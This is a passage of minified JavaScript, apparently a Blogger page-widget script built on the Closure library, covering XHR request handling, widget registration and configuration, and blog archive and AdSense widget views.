f=0;f<b[F];f++)this.ba(a,b[f],c,d,e);else c=c||this[bb],e=e||this.b||this,c=mo(c),d=!!d,b=Yn(a)?ho(a.B,p(b),c,d,e):a?(a=oo(a))?ho(a,b,c,d,e):null:null,b&&(to(b),delete this.a[b.key]);return this};function Mo(a){Tm(a.a,to);a.a={}} Ko[G].r=function(){Ko.n.r[I](this);Mo(this)};Ko[G].handleEvent=function(){throw n("EventHandler.handleEvent not implemented");};var No="StopIteration"in O?O.StopIteration:n("StopIteration");function Oo(){}Oo[G].next=function(){throw No;};Oo[G].Ia=function(){return this};function Po(a,b){this.b={};this.a=[];this.f=this.d=0;var c=arguments[F];if(1<c){if(c%2)throw n("Uneven number of arguments");for(var d=0;d<c;d+=2)Qo(this,arguments[d],arguments[d+1])}else if(a){a instanceof Po?(c=a.L(),d=a.C()):(c=Vm(a),d=Um(a));for(var e=0;e<c[F];e++)Qo(this,c[e],d[e])}}N=Po[G];N.p=Gl("d");N.C=function(){Ro(this);for(var a=[],b=0;b<this.a[F];b++)a[B](this.b[this.a[b]]);return a};N.L=function(){Ro(this);return this.a[Ia]()};N.J=function(){return 0==this.d}; ma(N,function(){this.b={};ya(this.a,0);this.f=this.d=0});function So(a,b){return To(a.b,b)?(delete a.b[b],a.d--,a.f++,a.a[F]>2*a.d&&Ro(a),!0):!1}function Ro(a){if(a.d!=a.a[F]){for(var b=0,c=0;b<a.a[F];){var d=a.a[b];To(a.b,d)&&(a.a[c++]=d);b++}ya(a.a,c)}if(a.d!=a.a[F]){for(var e={},c=b=0;b<a.a[F];)d=a.a[b],To(e,d)||(a.a[c++]=d,e[d]=1),b++;ya(a.a,c)}}function Uo(a,b){return To(a.b,b)?a.b[b]:void 0}function Qo(a,b,c){To(a.b,b)||(a.d++,a.a[B](b),a.f++);a.b[b]=c}N.D=function(){return new Po(this)}; N.Ia=function(a){Ro(this);var b=0,c=this.a,d=this.b,e=this.f,f=this,h=new Oo;h.next=function(){for(;;){if(e!=f.f)throw n("The map has changed since the iterator was created");if(b>=c[F])throw No;var h=c[b++];return a?h:d[h]}};return h};function To(a,b){return aa[G][nb][I](a,b)};function Vo(a){if(typeof a.C==Di)return a.C();if(P(a))return a[kb](L);if(Rl(a)){for(var b=[],c=a[F],d=0;d<c;d++)b[B](a[d]);return b}return Um(a)}function Wo(a,b,c){if(typeof a[$a]==Di)a[$a](b,c);else if(Rl(a)||P(a))tm(a,b,c);else{var d;if(typeof a.L==Di)d=a.L();else if(typeof a.C!=Di)if(Rl(a)||P(a)){d=[];for(var e=a[F],f=0;f<e;f++)d[B](f)}else d=Vm(a);else d=void 0;for(var e=Vo(a),f=e[F],h=0;h<f;h++)b[I](c,e[h],d&&d[h],a)}};function Xo(a){a=p(a);if(/^\s*$/[zb](a)?0:/^[\],:{}\s\u2028\u2029]*$/[zb](a[w](/\\["\\\/bfnrtu]/g,se)[w](/"[^"\\\n\r\u2028\u2029\x00-\x08\x0a-\x1f]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,ig)[w](/(?:^|:|,)(?:[\s\u2028\u2029]*\[)+/g,L)))try{return eval(id+a+ld)}catch(b){}throw n("Invalid JSON string: "+a);};function Yo(a){this.a=new Po;if(a){a=Vo(a);for(var b=a[F],c=0;c<b;c++){var d=a[c];Qo(this.a,Zo(d),d)}}}function Zo(a){var b=typeof a;return b==Mj&&a||b==Di?Lj+(a[Ul]||(a[Ul]=++Vl)):b.substr(0,1)+a}N=Yo[G];N.p=function(){return this.a.p()};ma(N,function(){this.a.clear()});N.J=function(){return this.a.J()};N.C=function(){return this.a.C()};N.D=function(){return new Yo(this)};N.Ia=function(){return this.a.Ia(!1)};var $o=ia("^(?:([^:/?#.]+):)?(?://(?:([^/?#]*)@)?([^/#?]*?)(?::([0-9]+))?(?=[/#?]|$))?([^?#]+)?(?:\\?([^#]*))?(?:#(.*))?$");function ap(a){if(bp){bp=!1;var b=O[z];if(b){var c=b[tb];if(c&&(c=(c=ap(c)[3]||null)&&ha(c))&&c!=b.hostname)throw bp=!0,n();}}return a[Pa]($o)}var bp=gn;function cp(){}cp[G].a=null;function dp(a){var b;(b=a.a)||(b={},ep(a)&&(b[0]=!0,b[1]=!0),b=a.a=b);return b};var fp;function gp(){}S(gp,cp);function hp(a){return(a=ep(a))?new ActiveXObject(a):new XMLHttpRequest}function ep(a){if(!a.b&&"undefined"==typeof XMLHttpRequest&&"undefined"!=typeof ActiveXObject){for(var b=[pf,of,nf,qf],c=0;c<b[F];c++){var d=b[c];try{return new ActiveXObject(d),a.b=d}catch(e){}}throw n("Could not create ActiveXObject. ActiveX might be disabled, or MSXML might not be installed");}return a.b}fp=new gp;function ip(a){yo[I](this);this.aa=new Po;this.F=a||null;this.b=!1;this.A=this.a=null;this.Q=L;this.g=0;this.f=this.K=this.o=this.H=!1;this.j=0;this.u=null;this.i=L;this.V=this.ga=!1}S(ip,yo);var jp=/^https?$/i,kp=[wf,"PUT"],lp=[];function mp(a,b,c,d){var e=new ip;lp[B](e);b&&e.P(th,b);co(e.B,gk,e.Cb,!0,void 0,void 0);np(e,a,c,d,void 0)}N=ip[G];N.Cb=function(){this.N();Am(lp,this)};N.Qa=Gl("i"); function np(a,b,c,d,e){if(a.a)throw n("[goog.net.XhrIo] Object is active with another request="+a.Q+"; newUri="+b);c=c?c[gc]():Ye;a.Q=b;a.g=0;a.H=!1;a.b=!0;a.a=a.F?hp(a.F):hp(fp);a.A=a.F?dp(a.F):dp(fp);ra(a.a,Q(a.Oa,a));try{a.K=!0,a.a[yb](c,p(b),!0),a.K=!1}catch(f){op(a);return}b=d||L;var h=a.aa.D();e&&Wo(e,function(a,b){Qo(h,b,a)});e=wm(h.L());d=O.FormData&&b instanceof O.FormData;!ym(kp,c)||e||d||Qo(h,Je,Ag);Wo(h,function(a,b){this.a.setRequestHeader(b,a)},a);a.i&&(a.a.responseType=a.i);Cl in a.a&& (a.a.withCredentials=a.ga);try{pp(a),0<a.j&&(a.V=qp(a.a),a.V?(a.a.timeout=a.j,a.a.ontimeout=Q(a.O,a)):a.u=Do(a.O,a.j,a)),a.o=!0,a.a.send(b),a.o=!1}catch(s){op(a)}}function qp(a){return V&&rn(9)&&typeof a.timeout==Kj&&Pl(a.ontimeout)}function xm(a){return Ih==a[jc]()}N.O=function(){"undefined"!=typeof Ll&&this.a&&(this.g=8,this[Na](Uk),this[Wb](8))};function op(a){a.b=!1;a.a&&(a.f=!0,a.a[Wb](),a.f=!1);a.g=5;rp(a);sp(a)}function rp(a){a.H||(a.H=!0,a[Na](th),a[Na](gi))} N.abort=function(a){this.a&&this.b&&(this.b=!1,this.f=!0,this.a[Wb](),this.f=!1,this.g=a||7,this[Na](th),this[Na](ug),sp(this))};N.r=function(){this.a&&(this.b&&(this.b=!1,this.f=!0,this.a[Wb](),this.f=!1),sp(this,!0));ip.n.r[I](this)};N.Oa=function(){this.h||(this.K||this.o||this.f?tp(this):this.zb())};N.zb=function(){tp(this)}; function tp(a){if(a.b&&"undefined"!=typeof Ll&&(!a.A[1]||4!=(a.a?a.a[Mb]:0)||2!=up(a)))if(a.o&&4==(a.a?a.a[Mb]:0))Do(a.Oa,0,a);else if(a[Na](hk),4==(a.a?a.a[Mb]:0)){a.b=!1;try{vp(a)?(a[Na](th),a[Na](Mk)):(a.g=6,rp(a))}finally{sp(a)}}}function sp(a,b){if(a.a){pp(a);var c=a.a,d=a.A[0]?Ml:null;a.a=null;a.A=null;b||a[Na](gk);try{ra(c,d)}catch(e){}}}function pp(a){a.a&&a.V&&(a.a.ontimeout=null);typeof a.u==Kj&&(O[Da](a.u),a.u=null)} function vp(a){var b=up(a),c;t:switch(b){case 200:case 201:case 202:case 204:case 206:case 304:case 1223:c=!0;break t;default:c=!1}if(!c){if(b=0===b)a=ap(p(a.Q))[1]||null,!a&&self[z]&&(a=self[z][rb],a=a.substr(0,a[F]-1)),b=!jp[zb](a?a[jc]():L);c=b}return c}function up(a){try{return 2<(a.a?a.a[Mb]:0)?a.a.status:-1}catch(b){return-1}}function wp(a){try{return a.a?a.a[Ha]:L}catch(b){return L}};function xp(){this.b=this.a=0;this.d=[]}function yp(a){if(a.a!=a.b){var b=a.d[a.a];delete a.d[a.a];a.a++;return b}}xp[G].p=function(){return this.b-this.a};xp[G].J=function(){return 0==this.b-this.a};ma(xp[G],function(){ya(this.d,0);this.b=this.a=0});xp[G].C=function(){return this.d[Db](this.a,this.b)};function zp(a,b){this.i=a||0;this.d=b||10;if(this.i>this.d)throw n("[goog.structs.Pool] Min can not be greater than max");this.a=new xp;this.b=new Yo;this.g=null;this.ka()}S(zp,Un);N=zp[G];N.na=function(){var a=Zl();if(!(null!=this.g&&0>a-this.g)){for(var b;0<this.a.p()&&(b=yp(this.a),!this.Ea(b));)this.ka();!b&&this.p()<this.d&&(b=this.Ca());b&&(this.g=a,Qo(this.b.a,Zo(b),b));return b}};function Ap(a,b){So(a.b.a,Zo(b))&&a.Fa(b)} N.Fa=function(a){So(this.b.a,Zo(a));if(this.Ea(a)&&this.p()<this.d){var b=this.a;b.d[b.b++]=a}else Bp(a)};N.ka=function(){for(var a=this.a;this.p()<this.i;){var b=this.Ca();a.d[a.b++]=b}for(;this.p()>this.d&&0<this.a.p();)Bp(yp(a))};N.Ca=function(){return{}};function Bp(a){if(typeof a.N==Di)a.N();else for(var b in a)a[b]=null}N.Ea=function(a){return typeof a.ec==Di?a.ec():!0};N.p=function(){return this.a.p()+this.b.p()};N.J=function(){return this.a.J()&&this.b.J()}; N.r=function(){zp.n.r[I](this);if(0<this.b.p())throw n("[goog.structs.Pool] Objects not released");delete this.b;for(var a=this.a;!a.J();)Bp(yp(a));delete this.a};function Cp(a,b){this.a=a;this.b=b}Cp[G].D=function(){return new Cp(this.a,this.b)};function Dp(a){this.a=[];if(a)t:{var b,c;if(a instanceof Dp){if(b=a.L(),c=a.C(),0>=a.p()){a=this.a;for(var d=0;d<b[F];d++)a[B](new Cp(b[d],c[d]));break t}}else b=Vm(a),c=Um(a);for(d=0;d<b[F];d++)Ep(this,b[d],c[d])}}function Ep(a,b,c){var d=a.a;d[B](new Cp(b,c));b=d[F]-1;a=a.a;for(c=a[b];0<b;)if(d=b-1>>1,a[d].a>c.a)a[b]=a[d],b=d;else break;a[b]=c}N=Dp[G];N.C=function(){for(var a=this.a,b=[],c=a[F],d=0;d<c;d++)b[B](a[d].b);return b}; N.L=function(){for(var a=this.a,b=[],c=a[F],d=0;d<c;d++)b[B](a[d].a);return b};N.D=function(){return new Dp(this)};N.p=function(){return this.a[F]};N.J=function(){return 0==this.a[F]};ma(N,function(){zm(this.a)});function Fp(){Dp[I](this)}S(Fp,Dp);function Gp(a,b){this.f=new Fp;zp[I](this,a,b)}S(Gp,zp);N=Gp[G];N.na=function(a,b){if(!a)return Gp.n.na[I](this);Ep(this.f,Pl(b)?b:100,a);this.La()};N.La=function(){for(var a=this.f;0<a.p();){var b=this.na();if(b){var c;var d=a,e=d.a,f=e[F];c=e[0];if(0>=f)c=void 0;else{if(1==f)zm(e);else{e[0]=e.pop();for(var e=0,d=d.a,f=d[F],h=d[e];e<f>>1;){var s=2*e+1,t=2*e+2,s=t<f&&d[t].a<d[s].a?t:s;if(d[s].a>h.a)break;d[e]=d[s];e=s}d[e]=h}c=c.b}c[ub](this,[b])}else break}};N.Fa=function(a){Gp.n.Fa[I](this,a);this.La()}; N.ka=function(){Gp.n.ka[I](this);this.La()};N.r=function(){Gp.n.r[I](this);O[Da](void 0);this.f.clear();this.f=null};function Hp(a,b,c){Gp[I](this,b,c);this.j=a}S(Hp,Gp);Hp[G].Ca=function(){var a=new ip,b=this.j;b&&Wo(b,function(b,d){Qo(a.aa,d,b)});return a};Hp[G].Ea=function(a){return!a.h&&!a.a};function Ip(a,b,c,d,e){yo[I](this);this.f=Pl(a)?a:1;this.g=Pl(e)?m.max(0,e):0;this.b=new Hp(b,c,d);this.a=new Po;this.d=new Ko(this)}S(Ip,yo);var Jp=[gk,th,Mk,gi,ug,Uk];function Kp(a,b,c,d,e,f){if(Uo(a.a,b))throw n("[goog.net.XhrManager] ID in use");c=new Lp(c,Q(a.j,a,b),d,e,null,f,Pl(void 0)?void 0:a.f,void 0);Qo(a.a,b,c);b=Q(a.i,a,b);a.b.na(b,null)} Ip[G].abort=function(a,b){var c=Uo(this.a,a);if(c){var d=c.ja;c.Na=!0;b&&(d&&(this.d.ba(d,Jp,c.Aa),ro(d,gk,function(){Ap(this.b,d)},!1,this)),So(this.a,a));d&&d[Wb]()}};Ip[G].i=function(a,b){var c=Uo(this.a,a);c&&!c.ja?(this.d.P(b,Jp,c.Aa),b.j=m.max(0,this.g),b.i=c.Qa(),c.ja=b,this[Na](new Mp(gk,this,a,b)),Np(this,a,b),c.Na&&b[Wb]()):Ap(this.b,b)}; Ip[G].j=function(a,b){var c=b[ac];switch(b[Pb]){case gk:Np(this,a,c);break;case th:t:{var d=Uo(this.a,a);if(7==c.g||vp(c)||d.la>d.Da)if(this[Na](new Mp(th,this,a,c)),d&&(d.Sa=!0,d.Va)){c=d.Va[I](c,b);break t}c=null}return c;case Mk:this[Na](new Mp(Mk,this,a,c));break;case Uk:case gi:d=Uo(this.a,a);d.la>d.Da&&this[Na](new Mp(gi,this,a,c));break;case ug:this[Na](new Mp(ug,this,a,c))}return null}; function Np(a,b,c){var d=Uo(a.a,b);!d||d.Sa||d.la>d.Da?(d&&(a.d.ba(c,Jp,d.Aa),So(a.a,b)),Ap(a.b,c)):(d.la++,np(c,d.ob,d.pb,d.mb,d.nb))}Ip[G].r=function(){Ip.n.r[I](this);this.b.N();this.b=null;this.d.N();this.d=null;var a=this.a;Wo(a,function(a){a.N()});a.clear();this.a=null};function Mp(a,b,c,d){Vn[I](this,a,b);this.id=c;this.ja=d}S(Mp,Vn); function Lp(a,b,c,d,e,f,h,s){this.ob=a;this.pb=c||Ye;this.mb=d;this.nb=e||null;this.Da=Pl(h)?h:1;this.la=0;this.Na=this.Sa=!1;this.Aa=b;this.Va=f;this.a=s||L;this.ja=null}Lp[G].Qa=Gl(tg);function Op(a,b,c,d,e,f){this.b=a;this.g=b;this.a=d||null;la(this,e||null);if(f){if(this.d=f,f!=ai&&f!=Yh&&f!=Zh&&f!=$h)throw"bad display mode: "+f;}else this.d=$h;this.f=!1}Op[G].h=Gl("b");function Pp(a){this.f=!0;this.k=a;this.b=null}function X(a,b){return l[C](a.k.b+lg+b)}function Qp(a,b){var c=X(a,b);if(!c)throw"did not find element for id "+b;return c}Pp[G].l=function(){return this.k[y]}; Pp[G].d=function(){var a={};ua(a,this.b.wa());a.instanceId=this.k.b;a.sectionId=this.k.g;a.actionUrl=U.A;a.quickEditUrl=U.Xa+gd+this.b.wa()+fd+this.k.b+Zc+this.k.g+Jc+U.V;return a};function Rp(a,b,c,d,e){U.xb(b,c||{},a.k.b,a.b.wa(),d,e)}function Nm(a){var b=-1;try{b=a.status}catch(c){}return b}function U(){}U.Sb=function(a,b,c){U.b={};U.Xa=a;U.A=b;U.hc=c;U.g={};U.i=new Ip;U.Ua=0;U.H=0;lo(U.i,gk,function(){U.H++});lo(U.i,th,function(){U.H--})};U.Jb=function(){var a=U.Mb();l[H][v](a)}; U.dc=function(a){U.Jb();if(k[pb]==k){var b=Cf;a&&(b=a);a=U.Ib(b);l[H][v](a[0]);l[H][v](a[1])}};U.Eb=hh;U.Db=hh;U.V="editWidget";U.Pb=function(){return U.A};U.bc=function(a,b){U.F=a;U.Fb=b};U.Qb=function(){return U.F};U.cc=function(a){U.gc=a};U.fa=function(){return U.gc};U.Kb=function(a){U.g=a};U.Ob=function(){var a={},b;for(b in U.g){var c=U.g[b];a[c[Rb]]=c[y]}c={};for(b in U.b)c[b]=U.b[b].c.l();a.widgets=c;return a};U.sa=function(a,b){var c=new Pp(b),d=new k[a](c);c.b=d;U.b[b.b]=d;U.Q(d);return d}; U.Zb=function(a,b){var c=U.sa(a,b);c.c.k.f=!0;return c};U.Q=function(a){var b=a.c;b.k.d!=$h&&(b.k.d==Yh&&a.s(),a.c.f=!1)};U.f=function(a){return U.b?U.b[a]:null};U.u=function(a,b,c,d,e){var f=L;d&&(f=fd+d);a=U.Xa+Jc+a+Zc+b+gd+c+f;if(k[Rb]==e)return k[z][w](a),k.focus(),k;e=k[yb](a,e,vl);e.focus();return e};U.Xb=function(a){var b=a[bc](Zi),c=U.f(b);if(c){var d=c.c.a;if(null!=d&&!d.closed)return d.focus(),!1}d=uh+b;a=U.u(U.V,a[K][bc](Zi),a[bc](tl),b,d);c&&(c.c.a=a);return!1}; U.Yb=function(a){U.u(U.Db,a[K][bc](Zi),a[bc](tl),a[bc](Zi),U.Eb);return!1};U.Nb=function(a,b,c){U.a(c,c.LayoutsMessages.DELETING);U.ga(Th,{},a,b)};U.sb=function(a,b){var c=k;a.sectionid=l[C](tk)[Hb];U.a(c,c.LayoutsMessages.SAVING);U.ga(yg,a,L,b)};U.$b=function(a,b,c){T(null!=c,Hj);var d=U.f(b);T(null!=d,Ij+b);d.c.k.f?U.sb(a,c):(b=d.c,c=k,U.a(c,c.LayoutsMessages.SAVING),Rp(b,vh,a))};U.xb=function(a,b,c,d,e,f){U.xa(U.A,a,b,c,d,e,f)}; U.ga=function(a,b,c,d){U.F&&(b.security_token=U.Fb,U.xa(U.F,a,b,c,d,void 0))};U.xa=function(a,b,c,d,e,f,h){function s(){x(this.a)&&k.eval(wp(this))}b=[xg+g(b),rl+g(d),ul+g(e),kk];for(var t in c)if(typeof c[t]==Mj)for(d=c[t],e=0;e<d[F];++e)b[B](g(t)+me+g(d[e]));else b[B](g(t)+me+g(c[t]));var x=f||Mm();h==Ye?(a=0<=a[Jb](oe)?a+Fc:a+oe,Kp(U.i,L+U.Ua++,a+b[ic](Fc),Ye,void 0,s)):Kp(U.i,L+U.Ua++,a,wf,b[ic](Fc),s)};U.ac=function(a,b){if(a){var c=U.f(a);c&&(c.c.a=b)}}; U.h=function(a,b){0==U.H?a[jb](function(){a.close()},b):a[jb](function(){U.h(a,b)},200)};U.Tb=function(a,b){a&&(U.h(a,100),U.Bb(a,b))};U.Bb=function(a,b){if(a){var c=a[Yb][C](Gk);c&&(c=c.innerHTML);c&&a&&a[fb][pb]&&a[fb][pb].editor&&a[fb][pb].editor.SetSaveMessage(c,b)}};U.M=function(a,b,c){var d=U.b[a];null!=c.errors?((a=d?d.c.a:null)||(a=k),U.a(a,c.errors),d&&d.X?d.X(b,c,a):U.X(c,a)):(T(null!=d,Ij+a),d.M(b,c))};U.X=function(a,b){var c=a[hi],d;for(d in c)Sp(d,c[d],b[Yb])}; function Tp(a,b){U.a(a.a,b[Fk]);U.aa(a.k.b,mg,function(a){k[fb]._WidgetManager._OnWidgetConfigured(a,b)})}U.Ub=function(a,b){k[pb]&&k[pb].editor&&b?U.Vb(a,b):k[z][w](k[z][tb])};U.Vb=function(a,b){var c=U.f(a);la(c.c.k,b[y]);var d=l[C](a);In(d);Om(d,c);c.c.a=null}; U.Rb=function(a,b,c){var d=c[Fk];if(null!=c.errors)U.a(k,c.errors),U.X(c,k);else if(b==yg){var e;U.j(k)&&(k[fb]&&k[fb][pb]&&(e=k[fb][pb]),e&&e.editor&&e.editor.HandleAddNewWidget(c));U.a(k,d);null==k[fb]?k.location=Kd+c.blogID:e&&e._WidgetManager?e._WidgetManager._KillPopupDelay(k):U.h(k,100)}else c=U.b[a],T(null!=c),b==Th&&(U.a(c.c.a,d),U.aa(a,ng))};U.Wb=function(a){var b=U.f(a);b&&(b.c.k.d==Zh?top.editor.HandleDeleteWidget(b.c.k.a):(b=b.c.k.a,b[K][$b](b)),delete U.b[a])}; U.aa=function(a,b,c){if(U.j(k)){var d=k[fb];c||(c=d._WidgetManager[b]);c(a);d._WidgetManager?d._WidgetManager._KillPopupDelay(k,a):U.h(k,100)}else a=U.fa()+re+a,a+=Nc+g(b),k[z][w](a)};U.j=function(a){var b=!1;try{if(a[fb]){var c=bg+a[fb][Yb].domain;c&&c!=bg&&(b=!0)}}catch(d){}return b};U.cb="status-msg-yellow-on-white";U.a=function(a,b){a||(a=self);var c=a[Yb][C](Gk);c&&r(c,b);(c=a[Yb][C](Fk))&&Hm(c,U.cb)};U.kc=function(a){a||(a=self);(a=a[Yb][C](Fk))&&Jm(a,U.cb)}; U.jc=function(a){a&&0<a[F]&&a[fc](0,4)!=Oi&&(a=Qi+a);return a};U.d=function(a,b){if(ym(Gm(a),b))return a;if(a)for(var c=a.childNodes[F],d=0;d<c;d++){var e=U.d(a.childNodes[Ib](d),b);if(e)return e}return null};U.Mb=function(){var a=k[Yb][Ua](bi);u(a,Vg);oa(a[A],vg);a[A].top=Od;ta(a[A],Od);ka(a[A],Sd);qa(a[A],Sd);V&&!rn(7)&&qa(a[A],oi);wa(a[A],Rd);a[A].cursor=Rh;Aa(a,U.o);a.onmousedown=U.o;a.onmouseup=U.o;a[A].background=ll;a[A].filter=zg;a[A].opacity=zd;r(a,Sc);return a}; U.Ib=function(a){var b=k[Yb],c=U.K(b,a);a=U.K(b,a);c[A].backgroundColor=yc;c[A].border=Wd;wa(c[A],11);V&&(c[A].filter=rc);c[A].opacity=Ad;a[A].border=Xd;wa(c[A],12);return[c,a]};U.K=function(a,b){var c=a[Ua](bi);oa(c[A],vg);c[A].top=de;ta(c[A],sd);ka(c[A],ce);c[A].padding=Td;c[A].fontSize=$d;c[A].textAlign=fh;c[A].color=zc;c[A].fontFamily=vc;V&&(c[A].top=rd,ta(c[A],rd),c[A].filter=qc);c[A].MozTransform=mk;c[A].MozTransformOrigin=be;c[A].WebkitTransform=mk;c[A].WebkitTransformOrigin=be;r(c,b);return c}; U.o=function(a){a||(a=k[kc]);a&&(a.cancelBubble=!0,a[lb]&&a[lb]());return!1};function Up(a){if(a)if(a[Pb]==gh){if(a.checked)return a[Hb]}else{if(null==a[Pb]){for(var b=[],c=0;c<a[F];c++)a[c].checked&&(b[b[F]]=a[c][Hb]);switch(b[F]){case 0:return;case 1:return b[0];default:return b}}return a[Hb]}}function Vp(a,b){b||(b=l);return b[C](ki+a)}function Sp(a,b,c){if(a=Vp(a,c))r(a,b),u(a,ii)}function Wp(){this.a=[];for(var a=0;a<U.g[F];++a)this.a[this.a[F]]=U.g[a]} function Xp(a,b){null==b&&(b=L);for(var c=a.a[F]-1;0<=c;--c)if(a.a[c][Rb]==b)return a.a[c][y];return null}Wp[G].l=function(a){var b=Xp(this,a);if(null!==b)return b;var c=a[kb](yd);if(1==c[F])return b=Xp(this,L),b[a];b=Xp(this,c[0]);a=0;for(b?a=1:b=Xp(this,L);a<c[F];a++){if(null==b)return null;b=b[c[a]]}return b};function Z(a,b){this.Ab=a;this.c=b}N=Z[G];N.wa=Gl("Ab");N.Lb=Gl("c");N.M=function(a,b){a==vh&&Tp(this.c,b)};N.X=function(a,b,c){U.X(b,c)};N.s=function(){};R("_WidgetManager",U);U._Init=U.Sb; U._SetPageActionUrl=U.bc;U._GetPageActionUrl=U.Qb;U._SetWidgetRefreshUrl=U.cc;U._GetWidgetRefreshUrl=U.fa;U._GetCallbackUrl=U.Pb;U._DeleteWidgetFromPage=U.Nb;U._DisplayWidget=U.Q;U._GetWidget=U.f;U._HandleControllerResult=U.M;U._HandlePageActionResult=U.Rb;U._IsOpenerReachable=U.j;U._SetConfigWin=U.ac;U._SetDataContext=U.Kb;U._SetupPreview=U.dc;U._RegisterWidget=U.sa;U._RegisterNewWidget=U.Zb;U._PopupPaneFromParams=U.u;U._PopupConfig=U.Xb;U._PopupToolbox=U.Yb;U._KillPopupDelay=U.Tb; U._OnWidgetConfigured=U.Ub;U._OnWidgetDeleted=U.Wb;R("_WidgetInfo",Op);Op[G]._getInstanceId=Op[G].h;Z[G]._GetHelper=Z[G].Lb;Pp[G]._GetData=Pp[G].l;Pp[G]._GenerateWidgetMetadata=Pp[G].d;U._GetAllData=U.Ob;R("widget_module_provide",function(a,b,c){var d=Eo.W(),e=d.b,f=d.h;e[a]||(e[a]={});if(c)e[a][b]=c;else if(f[a]){for(b=0;b<f[a][F];++b)(0,f[a][b][1])(e[a][f[a][b][0]]);delete f[a];delete d.f[a]}});function Yp(a){Z[I](this,ue,a);this.c=a}S(Yp,Z);R("_AdSenseView",Yp);function Zp(a){Z[I](this,De,a);this.a=a.k}S(Zp,Z);var $p="&#9658;&nbsp;";Zp[G].M=function(a,b){if(a==vh)Tp(this.c,b);else if(a==Gi){var c;t:{c=this.a.a[db](te);for(var d in c){var e=c[d];if(e[tb]==b.path){c=e[K];break t}}c=void 0}c=U.d(c,bk);r(c,L);for(d=0;d<b.posts[F];d++){var e=b.posts[d],f=l[Ua](lj);r(f,je+e.url+ne+e[Ub]+he);c[v](f)}}else Zp.n.M[I](this,a,b)}; Zp[G].s=function(){if(X(this.c,xe)){var a=An(tg,Wk,this.a.a),b;0<a[F]&&a[0][ec]&&(b=a[0][K][ec].color);for(var c=0;c<a[F];c++){var d=a[c];Aa(d,this.d[cb](this));b&&(d[A].color=b)}if(a=X(this.c,ye)){for(c=1;c<a.options[F];c++)if(b=a.options[c][Hb],b==k[z][tb]||null!=k[z][tb][Pa](b)){a.selectedIndex=c;break}a.onchange=this.b[cb](this)}this.c.l().languageDirection==nk&&($p=Ic)}};Zp[G].b=function(){var a=X(this.c,ye);a&&a[Hb]!=L&&pa(k[z],a[Hb])}; Zp[G].d=function(a){a=a||k[kc];(a=a.currentTarget||a[Gb])&&!ym(Gm(a),Wk)&&(a=a[K]);var b=U.d(a,Dl);a=a[K];if(ym(Gm(a),mi))return Lm(a,mi,mh),r(b,$p),Jm(b,Xk),!1;Lm(a,mh,mi);r(b,Hc);Hm(b,Xk);b=a[db](Wf);0<b[F]&&!ym(Gm(b[0]),bk)?b=void 0:(b=U.d(a,Zj),b=fa(b.innerHTML[Pa](/\d+/),10),b=a[db](hf)[F]<b);b&&(b=U.d(a,bk),b||(b=l[Ua](Wf),a[v](b),Hm(b,bk)),b[v](l[Ka](pj)),Rp(this.c,Gi,{path:U.d(a,ak)[tb]},null,Ye));return!1};R("_BlogArchiveView",Zp);function aq(a){Z[I](this,aq.a,a)}S(aq,Z);aq.a="Attribution";R("_AttributionView",aq);function bq(a,b,c){var d;t:if(d=lm(c),void 0===a[A][d]&&(c=(gn?ag:fn?rf:V?Bj:en?vf:null)+mm(c),void 0!==a[A][c])){d=c;break t}d&&(a[A][d]=b)}function cq(a,b){var c=yn(a);return c[Qb]&&c[Qb].getComputedStyle&&(c=c[Qb].getComputedStyle(a,null))?c[b]||c.getPropertyValue(b)||L:L}function dq(a,b){return cq(a,b)||(a[ec]?a[ec][b]:null)||a[A]&&a[A][b]} function eq(a){var b;try{b=a[Ba]()}catch(c){return{left:0,top:0,right:0,bottom:0}}V&&a[ob][H]&&(a=a[ob],ta(b,b[Lb]-(a[eb].clientLeft+a[H].clientLeft)),b.top-=a[eb].clientTop+a[H].clientTop);return b}function fq(a){if(V&&!(V&&8<=tn))return a.offsetParent;var b=yn(a),c=dq(a,Uj),d=c==si||c==vg;for(a=a[K];a&&a!=b;a=a[K])if(c=dq(a,Uj),d=d&&c==Ek&&a!=b[eb]&&a!=b[H],!d&&(a.scrollWidth>a.clientWidth||a.scrollHeight>a.clientHeight||c==si||c==vg||c==ik))return a;return null} function gq(a){var b=a.offsetWidth,c=a.offsetHeight,d=gn&&!b&&!c;return Pl(b)&&!d||!a[Ba]?new Sm(b,c):(a=eq(a),new Sm(a.right-a[Lb],a.bottom-a.top))}function hq(a,b){if(/^\d+px?$/[zb](b))return fa(b,10);var c=a[A][Lb],d=a.runtimeStyle[Lb];ta(a.runtimeStyle,a[ec][Lb]);ta(a[A],b);var e=a[A].pixelLeft;ta(a[A],c);ta(a.runtimeStyle,d);return e} function iq(a){var b=yn(a),c=L;if(b[H].createTextRange){b=b[H].createTextRange();b.moveToElementText(a);try{c=b.queryCommandValue(Xe)}catch(d){c=L}}c||(c=dq(a,xi));a=c[kb](od);1<a[F]&&(c=a[0]);t:for(a=0;2>a;a++)if(b="\"'"[Ja](a),c[Ja](0)==b&&c[Ja](c[F]-1)==b){c=c[fc](1,c[F]-1);break t}return c}var jq=/[^\d]+$/,kq={cm:1,"in":1,mm:1,pc:1,pt:1},lq={em:1,ex:1}; function mq(a){var b=dq(a,yi),c;c=(c=b[Pa](jq))&&c[0]||null;if(b&&fk==c)return fa(b,10);if(V){if(c in kq)return hq(a,b);if(a[K]&&1==a[K][Eb]&&c in lq)return a=a[K],c=dq(a,yi),hq(a,b==c?Vd:b)}c=En(yk,{style:il});a[v](c);b=c.offsetHeight;Jn(c);return b}var nq=/matrix\([0-9\.\-]+, [0-9\.\-]+, [0-9\.\-]+, [0-9\.\-]+, ([0-9\.\-]+)p?x?, ([0-9\.\-]+)p?x?\)/;function oq(){}Nl(oq);oq[G].a=0;function pq(a){yo[I](this);this.j=a||wn()}S(pq,yo);N=pq[G];N.wb=oq.W();N.I=null;N.R=!1;N.G=null;N.Z=null;N.ra=null;N.qa=null;N.da=Gl("G");function qq(a){a.U||(a.U=new Ko(a));return a.U}N.Ga=function(a){if(this.Z&&this.Z!=a)throw n("Method not supported");pq.n.Ga[I](this,a)};N.Wa=function(){this.G=this.j.a[Ua](bi)};N.render=function(a){if(this.R)throw n("Component already rendered");this.G||this.Wa();a?a.insertBefore(this.G,null):this.j.a[H][v](this.G);this.Z&&!this.Z.R||this.oa()}; N.oa=function(){this.R=!0;rq(this,function(a){!a.R&&a.da()&&a.oa()})};function sq(a){rq(a,function(a){a.R&&sq(a)});a.U&&Mo(a.U);a.R=!1}N.r=function(){this.R&&sq(this);this.U&&(this.U.N(),delete 